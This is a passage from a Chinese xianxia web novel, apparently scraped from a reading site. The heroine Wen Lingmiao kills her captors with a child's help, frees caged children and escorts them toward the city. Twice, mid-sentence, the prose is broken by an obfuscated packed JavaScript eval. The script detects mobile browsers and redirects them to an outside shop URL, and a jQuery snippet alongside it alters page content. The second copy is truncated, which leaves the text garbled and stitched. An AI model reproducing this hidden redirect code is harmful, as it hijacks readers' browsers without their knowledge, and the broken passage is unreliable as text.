温泠淼眼睫微阖,眼球上便覆了一层猩红水膜,视野糊作一片,后知后觉钻心地疼。血顺着面颊淌下,滴在地上,积成小小的水坑。 若她没记错,劲风来处是西方,即城外市的方向。莫非是言刀所说的好戏? 劲风滚滚远去,又毁了近百里山地,不过向北行的部分遇了阻,只奔至第三城前便被归一万法阵拦下,这看似无人可挡的灵力波动在银色巨阵前却如蚍蜉撼树,阵上只亮起一根纬线,便将之轻巧化了。又过了约几十息,空中激荡的威压才弱下些许,三人肺里终于能进些气,但肩上仍像落了座泰山样重,任他们使尽浑身解数也直不起身。温泠淼勉强抬手拭去血泪,往劲风来处一看,就见那方天上不知何时已多了三道人影,星子般大小,又莫名让人觉得巍峨有如山岳。 为首的那道长剑出鞘,握在手中。似乎方才的一击正是他所为。 温泠淼再向地上看去,原先第三城南接着的苍莽山脉,如今已被啃出块半圆平地,参天老林拦腰折断,只剩万道残桩,宛如大地上一块丑陋的疤痕。山间蒸腾的浓厚夜雾也被涤荡一清,让她一眼便能望见那座立在百里荒芜正中的九层楼阁。它同周边繁华不再,只剩断壁残垣的城外市不同,一片瓦都不曾少。楼中歌舞升平,乐声遥遥而来,只是楼外多了一繁复绚丽的半球罩子。其上灵力线层层亮起,七彩光辉流溢,被楼内的煌煌灯火照得如琉璃般剔透。罩子微微颤抖着,好似在将那攻击正中的力道消化,护住下方安宁。 这应是某种和归一万法阵类似的防护阵法,温泠淼瞳孔一缩,大能修士的一击,只是灵力余波,都尚有劈山之能,这七彩阵法却能在其正中安然无恙。 一座人人谈之色变的庞然巨物,果然还是有自己的本事,温泠淼微微眯眼,它能大摇大摆地做那些见不得人的勾当,还是在象征清正的归一万法阵旁,是何等的讽刺。它的有恃无恐昭示着背后牵扯的巨大利益。可为何偏偏在今日,这些强者忽然忘了所有牵扯,决定啃下这块老骨头。 也不知这三人欲做到何种地步,若再来上一剑,他们这些蝼蚁怕是要先一步跟人间说拜拜,温泠淼心底一声长叹,开始算起躲藏之法。她好像还是太自大了些,照她的修为,别说什么救世,什么飞升,现在连女主角都没见到,就差不多要为两大势力相争陪葬了。 在这剑拔弩张之际,三道人影却迟迟不动,像在交谈着什么,不一会,似是谈话破裂,其中一人长袖一甩,转身欲走。 难道是因寻不到破阵之法放弃了?温泠淼眉心微皱,但还未等人影迈出一步,那绚烂如虹的阵法,就如琉璃罩子被当头敲上一锤般,无声碎裂开去。 七色碎片迸散空中,像绽放了一地烟火。 “浮光掠影阵,怎么可能…”这意料之外的发展让温泠淼眉头锁得更紧,而剩下那两人情绪则更为激动,王麻子甚至忘了身边战局,木然喃喃道,“三百年,三百年不曾破的护楼大阵,就算是元婴老怪来了也该束手无策,到底是谁…” 护楼大阵意外破裂,琉璃楼就如失了壳的卵,任人宰割。应是得知了此番情况,十数道强横气息不断从第三城中升起,悬浮于空,一步百里,眨眼便出现在城外市上。强者们毫不收敛,一道道令人窒息的威压再度袭来,方才喘了口气的三人又被摁得趴倒在地,这次连头都无法抬起。 温泠淼在接连不断的威压下再也支撑不住,膝盖一痛,扑到了地上,无奈和地板大眼瞪小眼。 修仙界强者对弱者,真是视同蝼蚁。身为弱者,连生存的权利都无法握在自己手中。温泠淼扯了扯嘴角,眼中闪过一丝不甘。现在她连一根手指都动不了,只能开始祈祷那厢强者们打起来离这里远些,如果能顺势把琉璃楼整个给铲了就更好。 “您还好吗?”一道声音忽然响在脑中,打断了她的思绪。温泠淼一愣,这声音说不出的熟悉,和先前的女孩有七分相似。 “这是魂契间的联系。”那旁的人像是知她不懂这些,长话短说解释道,“您若要同我交流,只需在脑中想我的样子,而后您的意念便可通过魂契传过来。” “你们那好像出了大状况,情况如何,接下来什么打算?” “你呢?”温泠淼照着她的指示,给女孩传去一句。说她不担心是假,他们这些练气四五级的都如此狼狈,何况一个不过练气二级的小孩子。但她现在自身难保,更别提抽身相助。 “还好,我有秘法在身,保命没问题,只是不能行动,可惜了大好时机。”女孩话中透着惋惜。知道她身上有些隐秘,温泠淼也不多追问,只传去一句“还不到时候,先等。”便切断了联系。 “东方琉璃,窝藏魔修,伙同魔族暗中腐坏归一万法阵,还不出来伏罪?”又过几息,一道声音带着雄浑的灵力波动,在这方天穹上漾开,灌入所有人耳中。 “呸,我说是谁,原来是易老怪,他装什么清高,谁不知道城主府和我们…”修为稍弱的瘦子被这声音一震,耳鸣不止,在地上痛苦抽搐,暗骂连连。王麻子却面色灰败,好似意识到琉璃楼大势已去。 城主府的人,难道这位就是传说中的元婴老怪?她原以为琉璃楼只是和内城方家有所牵连,未曾想已经渗透到了城主府这一层。温泠淼眼中暗光瞬变,原来不顾利益纠葛动手的是他们,但这道传音看似利落果决,她却听着有些别扭。且他们将此事通过传音告与全天下的目的,也十分耐人寻味。 她忽然心中浮现出了一个大胆的猜测,时机太过蹊跷,那为刺客所杀的男宠,该不会就是这魔修吧。 按原书记载,魔族居于离此西去万里的永寂海域中,人魔井水不犯河水,维持太平已逾两千年。在她目前所在的万山支陆上,魔修这种生物已经千百年没有出现了。人们普遍视魔修为灾厄的化身。魔修现世,是人魔和平碎裂的征兆,这事不可谓不重。更何况还加了破坏归一万法阵一事,魔族的野心昭然若揭。 结合那道传音,温泠淼心中一通,刺客一事,如言刀所说,只是一个导火索。不知是有人暗中推动,还是巧合之下,其牵扯出的魔修一事被捅到了明面上,且知情人还不少,于是城主府再也粉饰不得,只得出面做做样子。 不,如果是巧合,那事情发展未免也太顺遂了些,温泠淼想到方才城主府三人欲装作无法破阵,息事宁人,却又被极其恰好的阵破相挟,不得不出手。她忽然一笑,有人,或者有个势力,在步步紧逼,把城主府和琉璃楼架在火上烤。不知他们是否正在隔岸观火,等待渔翁得利,也不知他们挑起这一切,究竟意欲何为。 真是一场好戏,温泠淼从心底由衷赞叹,从一开始,这就是一个简单的阳谋,但偏偏城主府和琉璃楼双方都无法逃脱其中。可惜原书时间线从谢星君年约五十开始,这场好戏在书中没留下只言片语的记载。导致她现在非常好奇其背后全貌。但她心中同时也多了一点疑惑,在原书中,直至司命半仙下天道预言后的二十年内,魔族都从未出现在这片大陆的明面上。 是她这个小蝼蚁的降临让魔族早来五十年,还是人界的腐化,在谢星君看不到的地方,其实早就开始了。 “呵。”在传音落下后一瞬,一道华美如乐章,又冷淡胜寒雪的声音传来,分明只有一个音节,飘入温泠淼耳中,却激起了她一身鸡皮疙瘩。她趁着威压渐消的空隙抬眼望去,就见一道彩衣身影忽现九层楼阁顶上,她衣袂翩然,手握双刀,脚尖轻点楼阁檐边,就化作祥云一道,冲着被瘦子称为易老怪的人袭去。 最开始,她气息似乎稍弱,与易老怪过的几招都落了下风。但就在她被打得节节败退,就要被易老怪擒住时,彩衣女子忽然丢刀结印,十指翻飞间,一道汹涌的灵力波动迸发,又迅速被镇入指间,下一瞬印成,她全身骤变,原先的肉体凡胎不再,取而代之的是通透如琉璃的灵躯,气息亦节节攀升,隐有压易老怪一头之势。女子冷笑一声,赤手空拳接下易老怪刺来的一剑,二人你来我往,刹那间就又交锋百次。 这就是东方琉璃,琉璃楼楼主?原来实力竟和易老怪不相上下,看来忌惮,也是城主府不愿与琉璃楼斗的原因之一,两败俱伤哪有互惠互利来得实在。温泠淼目光在那越打越远的二人身上停了一下,而后移开。先前从第三城陆陆续续赶来的十数强者似乎欲趁二人交手,无法脱身的空当围剿琉璃楼。而那方自不会坐以待毙,九层楼阁上也忽然现了密密麻麻的人影,双方争斗一触即发,也不知几人是在假意比划,几人是当了真。 好在大能们似乎终于意识到此处离第三城和城外市这些普通人居所太近,施展不开拳脚,逐渐将战场移至南方天际之外。 温泠淼见身上威压终于松动,眼中暗芒缓缓翻涌,这时机再好不过。她先向魂契那边传了句话,而后暗中将左袖里的断剑塞入右臂上绑着的暗袋里,这暗袋原先是放匕首的,如今拿来装乱斗时捡的瘦子的断剑正合适。做好铺垫后,她双腿灵穴骤然点亮,撑着她在残余威压中站起身,捡了剑,朝王麻子冲去。 王麻子听到动静,猛然转头,就见她抢了先机攻来,不由目光一狠。此时威压尚在,他伤得最重,起身都尚且困难。温泠淼这是想趁他病要他命。 想要我命,没那么简单!王麻子面上划过一丝肉痛之色,手中不知何时多了枚青玉状的丹丸,其上明暗两条丹纹浮动。温泠淼面色一变,这丹品级至少在二阶,她预感不好,双腿一蹬,将速度提到极致,挥剑朝他劈来,却终究还是慢了一步。王麻子将她脸色变化尽收眼底,阴笑一声,将丹丸塞入口中吞下。 倏地,他气势大变,全身青筋暴起,一扫颓态,甚而有实力暴涨入练气六层之势。但若细看便会发现他气息虚浮,应维持不了太久。 王麻子也不捡刀,手蜷成爪,翻身而起,悍然迎上温泠淼的剑。他眼球血红,状似野兽,速度比起先前还快上三分。 温泠淼眉微皱,她方才的一劈竟被王麻子空手接下,分毫未伤,甚至连他包裹爪上的灵力都没有震开。这就是二品丹药的效力吗,但外力提升必然有其时限,现在只能先见招拆招等药效过了。温泠淼敲定拖字决的主意,转攻为守。只是她伤势亦不轻,特别是双腿在威压下有细微的骨裂,虽抽了灵力修补,但骨伤不比皮肉伤恢复容易,一时半会无法解决,这让她的行动稍有滞涩。 一旁的瘦子见状,也咬牙捉刀爬起,不要命地向温泠淼攻过来。他也知这是最后的活命机会,若真让王麻子被拖住,下一个死的便是自己。虽然他的攻势并无多大威胁,但总能逼温泠淼不得不抽手相防,给王麻子创造可乘之机。在二人的全力围杀之下,温泠淼有些左支右绌,一退再退。 王麻子在又接下温泠淼一剑后,感知到她剑上力道减弱,不由桀桀一笑,趁她灵力不支,稍显颓顿之时,再度点亮掌中灵穴,将灵力凝至五指,化作黄金般的实体,一招碎玉爪向她抓来。温泠淼刚想脚步微错躲开,又用余光见瘦子正横刀砍她身后,欲封锁她退路,只得咬牙先一剑将瘦子逼退三尺,再甩剑挡王麻子攻势。王麻子冷笑连连,一爪正击剑 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是个只有他一半高的女孩,长相很熟悉,被滚烫的血喷了满头满身,血污中的眼亮得惊人。她看着手中那把刚抽出的匕首,像第一次做这夺人性命的事,大口喘着气,而后,对着心脏所在位置,又一刀刺下。 瘦子终于彻底闭上眼睛。 计成,温泠淼便一改弱势,从地上暴起,右臂右掌灵穴再亮,一道凯格尔掌就冲紧随瘦子来的王麻子击去,掌风擦过空气,鸣出激越的破空之声。 她在越过女孩身侧时,无意往那瞥去一眼,方才,女孩的气息竟到了练气三层巅峰,和瘦子相差无几。这孩子身上秘密还真不少。不过现在不是过问此事的时候,她紧盯着急急刹住脚步,往回逃窜的王麻子,腾空跃起,掌风从他头顶拍下。 王麻子见她这一跃的骇人速度,哪里还没反应过来先前不过是她诱敌深入的技俩,那女孩怕不是早就躲在那里了,只是他们战得太过激烈,无人能分心发觉。王麻子后知后觉地发现,温泠淼先前一退再退的方向,她逼退瘦子的方向,以及瘦子在错失与又见良机前的大悲大喜,和被剧烈的情绪起伏牵动的,一瞬间的大意,好像都在她的掌控之中。他心底忽然升起一丝彻骨寒意。 让这寒意更浓的,是他发现药效似乎也到了尽头,原先充盈的力量正不断衰退。如今,似乎只剩逃这一条路可走。王麻子还来不及后悔招惹这尊杀神,便惊恐地发现发现温泠淼向他跃来的速度太快,他又双腿渐软,似乎连逃都逃不过。他双眼中闪过一丝狠色,却是一爪劈开左边的墙,窜入隔壁牢房内。他虽不算聪明,脑子倒也转得快,那人能在找他灭口之余,还放了一个孩子,该是心中带些良善的。这帮正道修士最是婆婆妈妈,他虽跑不过她,算不及她,但总能狠过她。反正左右都是一个死字,不如赌这一把,赌人质在手,她就不敢轻举妄动。王麻子眼珠子再一转,那女孩气势有些古怪,他不敢轻举妄动,但这屋子附近,还有一位做人质的最佳之选。 小娘们,你该不会弃被你牵扯来的无辜之人于不顾吧,他阴险一笑,刚想抓昏迷在房中的男人作肉盾,却猛然发现狭小的牢房空空如也,门锁早为余波斩断,跌落在地。 王麻子瞳孔狠狠一缩,事到如今,他还有什么不明白的。绝望之中,他刚欲再跑,却忽然发现头顶好像进了什么东西,冰凉一片,他还来不及感到痛,就永远地合上了双眼。 是一截断剑。 温泠淼面无表情地收了手,掌风不过是虚张声势,真正的杀机,是她袖中那截断剑。 王麻子生性狡猾,战斗经验又老道,更何况这里的强弩之末,又何止王麻子一人。若非出其不意,鹿死谁手尚未可知。 她为防王麻子狗急跳墙,早在所有人被琉璃楼那方战场吸去全部注意力时,就让女孩先将左槐救出,找处地方藏了起来。王麻子深陷局势逆转的恐慌之中,果然想以人质相挟,但当他发现人质不在后,便会陷入更深的绝望。 这世上最能冲昏一个人头脑的,莫过大喜化了大悲,希望灭作绝望。 昏了头的王麻子没猜到她灵力其实将近枯竭,看似迅猛的跃起,不过是因撞破墙后一条腿已彻底失去掌控;也未曾注意她落地时掌风已停,只有一截断剑破风而来。 明掌易躲,暗剑难防。 温泠淼最后捡起被她故意丢在一旁的凡铁剑,走到最先晕厥的壮汉边上,斩了脖子,让他彻底断了气息。又回王麻子身旁,将他头颅切下,确认再无生命迹象后,缓缓拖着腿,来到瘦子面前,再刺一剑。 做完这一切,她感觉身体一松,好像一直支撑着她脊柱的东西被抽了去,忽然之间,一切都变得异常陌生。温泠淼目光扫过这片废墟,有些茫然,在其中飞散的断肢残骸上顿了顿。她松手,任剑坠落在地,发出“哐当”声响。 她双手缓缓抬起,摸索着,抚上自己面颊,指尖传来大片粗糙触感,是干涸的血液,有她的,也有别人的。不知为何,温泠淼心中升起一阵巨大的荒谬。她后知后觉地发现最后一丝灵力正好耗尽,灵穴逐渐熄灭,战斗状态下被掩盖的剧痛袭来,腿是痛的,手是痛的,眼也是痛的,这疼痛应该离她很近,又好像离她很远。她再站不住,往地上倒去,蜷缩着,却是发出低低的笑声,后来,笑声越来越大。 女孩还保持先前的姿势,跪坐在地,因第一次见这满目血腥而干呕。她握着匕首的双手微微颤抖。 她不看她,却在问她:“大人,这样,我真的就可以被原谅了吗?” 温泠淼一边大笑着,一边拍了拍女孩的背,她指着天边,那方,一轮蓬勃的血红朝阳,正挣破蒙蒙薄雾。 “你看,天亮了。” 10. 曦光 温泠淼笑得越来越大,笑到缺氧,胸口剧烈起伏着,在笑的间隙,喉中挤出沙哑的干咳。 别太天真,这世界就这样,没有程序会为你所认定的善恶宣判。你已经做到最好,赢了这一局,能活下去,便够了。而且又不是第一次,装什么呢。 理性这样说,那情感该如何辩护,她咳到眼中蓄了层生理性泪水,将眉睫上的细碎血痂再融成猩红一片,这方世界的光影忽然格外模糊。醒醒吧,这不是家,这里的人,幸运的,是方块字,不幸运的,是空白。你的目标只有回家一个,为了它,今后要做的事,一件件比这个大,比这重,比这还要恶心。 温泠淼,在这里,你只是一个虚伪又傲慢的人。 她终于感觉笑够了,倦了,垂着眼,边咳嗽边扶着残余的墙起身,五指在其上因无意识用力而刮出五道血痕。她却像失了痛感样的,扶着,再度走进屋内,开始清算战利品。 她目光冷漠地在那飞了漫天木屑的“金丝楠木”家具和金玉在外,不知何物其中的摆件上扫过,最后在墙上没剩几幅完好的书画上停去几秒。 章子像模像样,但水平不敢恭维,字细看绵软无骨,画一版一式,失了感触。若修仙界的大师审美止步于此,那她的碑文可算传世珍宝。 也不知是王麻子平日喜好充面子,还是纯粹的景区保健品目标客户。总之一番搜索下来,这屋里值钱的竟一个没有。 温泠淼再捡起剑,将房里能破坏的劈了个遍,也没看到小说中藏有珍宝的暗格,只能暗叹一声果然不是龙傲天主角命。最后她拿凡铁剑翻了翻三具尸体,从王麻子手上薅去一枚材质未知的古朴戒指,又从剩下二人荷包中搜了些灵石银两出来。 就在温泠淼兴致缺缺,将剑上血迹用衣摆仔细擦净,准备收入鞘中时。那厢痴望着朝阳的女孩好像终于看够了这照常升起,又无比珍贵的东西,回过神来,踟蹰一会,站起身,却是遥遥叫住她,先问一句:“大人,这刀?” 温泠淼望了眼过去,女孩双手将那柄沾血匕首捧到身前,她目光再缓缓扫过,见女孩身形与原身相仿,因久饿而干瘪瘦弱,就收了眼,取下右腕处系着的暗袋和刀鞘,手一扬,丢到女孩身侧,“你留下吧。” 她目光在刀尖粘稠欲滴的血上顿了下,淡淡提一句,“入鞘前血要除尽,以防干了取不出。” “多谢大人。”女孩虽并不将激动形于色太多,但面上却能看出些高兴,她学着温泠淼的动作,把那凡铁打的粗糙匕首擦了又擦,眉眼专注,十分爱惜的样子。小心将收到的第一份防身武器理好后,女孩又偷偷看了眼望着戒指蹙眉的温泠淼,咬了咬唇,说,“大人,这戒指该有储物功能。王麻子那丹药应是从里面拿出来的。” 温泠淼并不惊讶,她此前也注意到了王麻子手上小动作,这也是她正对着戒指思索的原因。只是在她手中,这东西就跟块凡石样的,任她怎么看都岿然不动。原本她已做好了再去言刀买消息的打算,但现在身旁有修仙界土著在,事情就好办不少,于是便顺着女孩的话问:“你知道怎么开?” 女孩欲言又止,费了九牛二虎之力才把嘴边那句“你这都不知道?”给扯了回来。这人战斗时衣袂下亮起的灵穴就差把“我是大宗门真传”写别人眼上了,但有时候又无知得可怕,没有储物容器就算了,连怎么开的都不知。她无奈地发现自己在潜移默化中已开始习惯这人的文盲设定,定了定神,说:“王麻子死了,戒指上的神识印记便会消失,您需要先让它认主。具体来说可以用手抚过它表面,辅以心念上的专注,便可留下新的神识记号,此后您若要使用,只需心中想它,默念开启,就可在神识中联通其中空间。” 原来这就是小说中的心念一动,温泠淼虽还是有些头疼这玄之又玄的神识动作,但有魂契经验在前,她也还算得心应手,按女孩的指示便将戒指中的存储空间打开了。 神识和戒指一通,就如接收言刀的消息般,她脑中忽然被挤入了几条信息,闭目想过去,就能在脑海中看见一小小的房间,地上零散丢着三把锃亮的刀,一个装满银两的箱子,不用数便知共三百两,箱子上还放了一只装有一百五十枚灵石的小布袋,箱旁是几沓账本,数个酒坛,一些零散的草药和盛了丹丸的瓷瓶。她再往房中唯一的柜子上看去,就见大堆和外头相似的摆件,发着灿灿的金光,温泠淼有些无言,她最后终于从底层格子中找到记有碎玉爪的卷轴,目光微动,却是将之先放回原处。 此地不宜久留,待她回城安全了再细看。 她将心神清理干净,再睁开眼,面上却是带了几分沉思,王麻子不愧是做特殊买卖的,油水比普通人不知丰厚了多少,但就连他也没弄到什么功法剑技,看来这些东西大多都被上层势力所垄断。 温泠淼谨慎地将戒指放入口袋,来路不明的财产,还是不外露要保险,她心神一动,先把账本拿出来检查一番。在见王麻子基本只接触固定的上线,没有多余利益牵扯后,终于暗中松了口气。她现在一朝被蛇咬,就怕这边继续拔了萝卜带出泥,牵扯无穷无尽。 言刀的消息还是准,挑这时候动手,正好撞上琉璃楼那边自身难保,高层都一片动荡,估计来不及管到一小小的供货人,而待局势平静下来,她也早就从第三城中消失,再如何都追不到。温泠淼将三具尸体踢到废墟中央,顺手把剩余的柜子墙壁砍破,将它们沉沉埋在下面。 做这一切时,女孩就如她的影子,一直站在身后五步远,看着她,似乎有些手足无措,想搭把手,却又不知能帮什么。温泠淼转头,想了想,还是问道:“你还好吗?” 她很好奇,在极端弱肉强食环境中生长的人会如何看待这些。她本以为对女孩来说,剥夺生命可能就同吃饭喝水一样稀松平常,但女孩最后的恍惚又在提醒温泠淼,她也不过是个七八岁的孩子。 虽然温泠淼并没有多管闲事到要为一个萍水相逢的孩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17413786|200728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子的心理负责。 “没有大碍,也没什么好矫情的,他们打不过你,死的便是他们。”女孩一愣,才知她意指如何,扯开个笑容道。 她虽笑着,但往常飞扬的眼角有些下垂,手指无意识地蜷了起来。“只是,爹娘没告诉过我,原来人的心脏这么浅,肉这么黏。” 这小孩性格挺好,温泠淼安静听着,心中意外有些触动,她转过身去,推开茅屋的门,垂下眼,忽然答了之前的问题:“我没有权力代别人原谅,我的条件只是作为救人的交换。若你真在意,如果你们有机会再见,如果他到时能醒过来,你再去向他道歉吧。” 她攒起残余的力气,一剑劈碎铁笼上挂着的大锁。孩子们还在望着从顶上洒进的浅薄阳光失神,见笼门吱呀开启,一时都像做了梦般,又怕是新的陷阱,迟迟不敢出来。 “楚盈,楚盈!你自由了,快,到姐姐这来!”女孩拍着铁笼,脸贴上去,向笼中某个角落手舞足蹈,又叫又笑,明明大喜过望,眼中却蓄满了泪。 听见叫声,角落里蜷缩在地的一个孩子缓缓抬起头。她看着五六岁,瘦得只剩骨架,一头乱发干枯如蓬草,眼失了光泽,手脚并用地爬到门前,向外探了探手,见真的能伸出去,她眼中忽然蒙上一层水膜,亮晶晶的,添了生动的光彩。 下一秒,女孩便冲过去,一下抓住她手,将人整个扯出笼外,顾不上满身的血与泥,紧紧抱在怀中。女孩颤抖的手抚上她后脑,将头埋在妹妹颈间,轻声说:”没事了,有姐姐在,都没事了。” 温泠淼履行了约定,见女孩卸下在她面前一直强装着的镇静成熟,变回那个小小姐姐的样子,不知为何,嘴角也有些扬起。 她收剑入鞘,打开储物戒,把其中的银子分去一半出来,推到她们面前,单腿蹲下,平视着这群因不敢相信自由,而又哭又笑的孩子们,笑容温暖又平静。“这些都归你们,该够生活下去了。” “你把钱给他们分了吧,”温泠淼再看向一副小大人模样严肃点头的女孩,问道:“你的名字?” “楚刀。”女孩抽着鼻子放开怀抱里的妹妹,将她藏进自己身后,小胸脯一挺,昂然说。 温泠淼被她这副又怂又骄傲的样子逗笑,继续问,“谁给你起的名字?”和某个笑面虎情报商在起名上肯定很有共同话题。 “当然是我自己。”提到这话题,楚刀便得意了起来,说,“我们爹娘去得早,收养我们的村人又不爱读书,认不得字,原本只打算喊些好养活的贱名,最后还是我给想了正经名字。村里的老先生说刀最凶最厉害了,所以我就叫刀,这样就没人敢来欺负我们。我妹妹叫盈,盈盈满满,一辈子享福,多好!” “好,楚刀。”温泠淼笑着点头,在女孩还没反应过来时,温柔地伸手抚上她额心,找到心神中那处魂契印记,默念一声解除,下一秒,她们之间那道联系便断了。 她站起身,“你自由了,再会。” 11. 明剑 楚刀得意的笑容一下僵住,不敢相信自己的耳朵。修仙界无人不知魂契的珍贵和重要,有一个绝对忠诚,能替人出生入死的仆从,等同于多了一条命,是无数人做梦都求不得的。她活这些年,只听过魂仆死了,没见过有主人会主动解契。而此人却像随手拈起花一样,不在意了,便轻飘飘放下。 难道不该高兴吗?楚刀忽然有些茫然,她在提出魂契的一刻,就已做好和妹妹永别,失去一生自由乃至生命的准备,如今重获这些无价宝物,她却不知为何,没有意料中的激动。平心而论,这人来路诡异,出身不明,浑身上下充满矛盾,一看就很麻烦。偏偏善恶难辨,下手又狠又邪。跟着她,自己怕不会活得很长。 但当她见那道纤瘦背影真要离开,心中却空落落的。 楚刀回过头,目光扫过身后因长期少食缺水而干瘪无力的孩子们,再在同样虚弱的楚盈身上停去一瞬,缓缓咬住嘴唇。 魂契是约束,也是保护。以他们目前的情况,若再遇险,无异羊入虎口。她和身后的所有人,都急需一个倚仗。 “大人请留步!”楚刀猛然转头,却见温泠淼已半步踏出门外,听见背后声音,她微微侧脸,惨白带血的面容被薄淡阳光照透,好似下一秒便会消散入其中。 楚刀三步并作两步,跑到温泠淼面前,微微弯腰,却是以平等的姿态,不卑不亢道,“如您所见,我们被关了太久,大多数人已两天滴水未进,十分虚弱。虽琉璃楼如今已遭大难,但无法保证没有其他有心之人,若再遭遇不测,我们没有任何反击之力。” “但我不奢望能无条件得到大人的庇佑,只是我以为,大人虽实力强大,却仍有一些小事不甚清楚,若大人不嫌弃,到宗门大选前这几日,我可为大人答疑解惑,知无不言,并对大人的一切情况守口如瓶。以此换您将我们护送到第三城内。” 温泠淼挑眉,她的善心相当有限,来这主要就为左槐,孩子们不过是见了便顺手相帮。在她看来,能留下必要的生存资料,已是尽了情分。 至于楚刀,她身上是有些秘密,但温泠淼对小说中只字未提的人与事并不好奇。魂契本身也只为验证她欺骗与否,防止节外生枝。如今事已成,便该就此告别。 她的路,只能自己去走。她并不想和这个世界的任何人扯上太深的关系,更无意绑上一个孩子的一生。 但短期的交易却不同,这小孩真的很聪明,经历王麻子一劫后,警惕不少。提出的条件倒也正好对上她所需。 温泠淼冷淡道,“可。” 她声音虽冷,却并无不悦,楚刀欣喜万分,蹦跳着转过身去,像孩子王一样点兵点将,指挥孩子们平分了银两,再将情况和安排一一解释。 温泠淼不管这些,踱步到房外,倚墙而立,微微合上眼,开始思考一个严峻的问题。 那就是怎么恢复灵力。 那厢的楚刀自然不可能知道,自己找的靠山正面临灵力枯竭,无法恢复的大问题,并没比他们的情况好到哪去。温泠淼回想起原书的相关描述,眉头微皱,按照书中说法,恢复灵力和修炼滋长灵力一脉相承,都是照着功法运灵,沟通吸纳天地灵气。只要会修炼的,恢复灵力不该是问题。但偏偏她是野路子,对于修炼,系统只留下“多喝水”的三字真言便撂了挑子。喝水是可增长灵力,但对如何运灵,她却浑然不知,就连那什么天地灵气都感受不到,更何谈吸纳。现在的她,除却力气大些,和普通人没什么区别。 她再心念一动,将王麻子的储物戒指又翻了个便,还是没见着他们用的青阳功法的影子,只能心中叹一口气,放出系统面板,死马当活马医地戳了戳,心中催道:“喂,你宿主只会喝水,要在回城路上被抢劫而死了,菜菜,功法,教教。” 但任她如何戳弄,系统只把装死大法贯彻到底,亮着还需喝十天酒的提示,不动如山。温泠淼戳累了,将面板收起,心下暗念一句“还是去找楚刀问她的功法罢。”,却不知这话让系统受了什么刺激,挣脱她的意识,将面板强势闪在她眼前,其上再不是冰冷的进度,而是三个大字。 “往漱玉。” 温泠淼眉头越拢越深,意思是让她去偷学漱玉的功法?这三字虽简单,却透露出不少信息,系统为何点名要去漱玉,还是在她提及楚刀的功法后,难道喝水神功和其他功法不兼容?为何偏偏是漱玉,与她此次宗门大选的目标恰好相同,她可不认为是巧合。系统是否知道此地是书中世界,而它的意识又是何来? 已知信息太少,她再如何动脑都想不通。温泠淼伸手揉了揉眉心,先将注意力放回面前的事情上,系统这三字除了给她带来更大的疑惑外,无法解决任何问题。她现在还不知自己灵根如何,也不懂功法,修炼还靠系统,不能这么早跟它闹掰,那么只能自己先想办法了。 罢了,温泠淼启动我寻思之力,催动体内所剩无几的灵力顺着血脉流动,先体循环再肺循环,如此按着不多的生物知识运了几周天后,她忽然发现血脉中的灵力多了一丝。 温泠淼惊喜地睁开眼,高中生物还真有效果?她听房里孩子们的声音还在响个没完,便又闭眼继续争分夺秒运灵。 等楚刀和楚盈两姐妹终于叽叽喳喳地将一切安顿好时,一个时辰已过,而在此期间温泠淼终于恢复了约二十分之一的灵力,她握了握拳,见熟悉的力量又回到手中,露出一丝满意的笑。 温泠淼往两姐妹身后看去,却见孩子少了几个,一问才知有些体力保存较好,灵力还算充沛的小孩婉拒了提议,在郑重道谢后便先一步离开了。 她微微颔首,也不多话,拍去身上的尘土起身。先找到被楚刀藏在院中草堆里,昏迷不醒的左槐。见他四肢软绵,浑身鞭痕血痂,只剩最后一口气的样子,温泠淼心中一窒,她还是怀念那个牙尖嘴利的左管事。 可惜她对王麻子那堆草药丹丸的效果一窍不通,只能先想办法把人移回第三城,到时是找郎中还是问药效都方便。她蹲下身,将左槐扶到背上,虽然站起时腿还是疼得厉害,像被人拿榔头当着膝盖骨敲下一般,但温泠淼还是咬牙运起灵力往腿上灌去,深一脚浅一脚走了起来。 一行人在废墟上摸索着,途经万道残桩,和卷了沙石滚滚而来的浑浊溪流,向不远处永恒坚固的城池前进,步子不快,有时孩子们累了,还不得不停下休息。按温泠淼原先脚程,不过半炷香便可走完的路,如今过了小半个时辰,才行了不到一半。 途中,不少地势较高的土坡被拦腰切开,露出斑斑白骨,一层压着一层,最底下的已化成了粉。温泠淼只扫一眼过去,就静静移开目光,扶着身后人的指节因骤然用力而变得苍白。 骨架极瘦小,同她身后的孩子们没什么两样。 如果这不过大梦一场,游戏异界一趟,那一定是最烂的一款游戏。 孩子们走过土堆时,手脚都哆嗦不止,才后知后觉若不是幸运地碰上个怪人,他日,自己也将成为这葱郁老林的肥料。他们再往前看去,又看见最前方那人不为所动,依旧一步步前行的样子,忽然觉得那具枯瘦的背影,有着扛起一片小小天空的力量,心中安定不少。 楚刀紧随在她后面,心情亦是沉重,最终实在耐不住这沉闷的氛围,换个话题问道:“大人同他是什么关系,亲戚?” 温泠淼微喘着气,只顾看脚下的路,冷淡地答,“一面之缘而已。我付钱,坐他的车。没想到之前的仇家把他卷了进来。” “交易已结,则后续应再无关系,大人何须这么拼命,”楚刀犹豫一下,还是问出了口,“若他醒了还要怪您,怎么办?” “他因我的疏漏,无端受了折磨,我再做什么,都只是补偿,没立场要求他原谅。他恨我是应该。”温泠淼回头看她一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“趴下!”突然,她笑容一滞,面色大变,卸下左槐,飞身过去将最近的楚刀二人扑在身下,孩子们见她动作,虽不知何事发生,却也听话地伏倒在地。 话音未落,一道相似的余波再度袭来,刮破万里云层,将天空搅成散碎一片。 好在这次事发高空,已经千疮百孔的地表勉强逃过一劫。 长风过境,威压不止。温泠淼暗骂一声还来,顶着熟悉的感觉转头看去,却骇然发现天边忽然多了第二轮太阳似的巨物,纯白刺目,占满半个天穹,她再看,才发现是一道剑影。 